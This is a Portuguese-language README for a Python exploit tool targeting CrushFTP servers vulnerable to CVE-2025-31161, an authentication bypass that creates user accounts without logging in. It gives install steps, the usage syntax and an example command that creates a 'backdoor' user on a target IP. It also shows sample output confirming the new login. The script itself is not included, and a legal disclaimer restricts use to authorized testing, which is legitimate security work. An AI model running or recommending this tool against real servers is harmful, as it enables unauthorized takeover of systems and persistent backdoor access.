CVE-2025-31161 - Exploração de Bypass de Autenticação na Criação de Usuário do CrushFTP

📌 Descrição

Este exploit em Python tem como alvo servidores CrushFTP vulneráveis ao CVE-2025-31161. A vulnerabilidade permite a criação de conta de usuário não autenticada ao enviar um payload XML manipulado para a WebInterface, podendo resultar em comprometimento total do servidor.

⚠️ Aviso Legal

Esta ferramenta é destinada apenas para testes de segurança educacionais e autorizados.
O uso não autorizado contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.

🧰 Requisitos

• Python 3
• pip3
• Módulos Python:
  • requests
  • colorama

✅ Instalar Python3 e pip3

Debian/Ubuntu:

sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL:

sudo yum install python3 python3-pip -y

macOS (with Homebrew):

brew install python3

✅ Instalar dependências Python

pip3 install requests colorama

🔧 Uso

python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Exemplo

python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

🧪 Opções de Linha de Comando

🖥️ Exemplo de Saída

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

👨‍💻 Autor

Gaurav Bhattacharjee (G4UR4V007)

📄 Licença

Este projeto está licenciado sob a Licença MIT.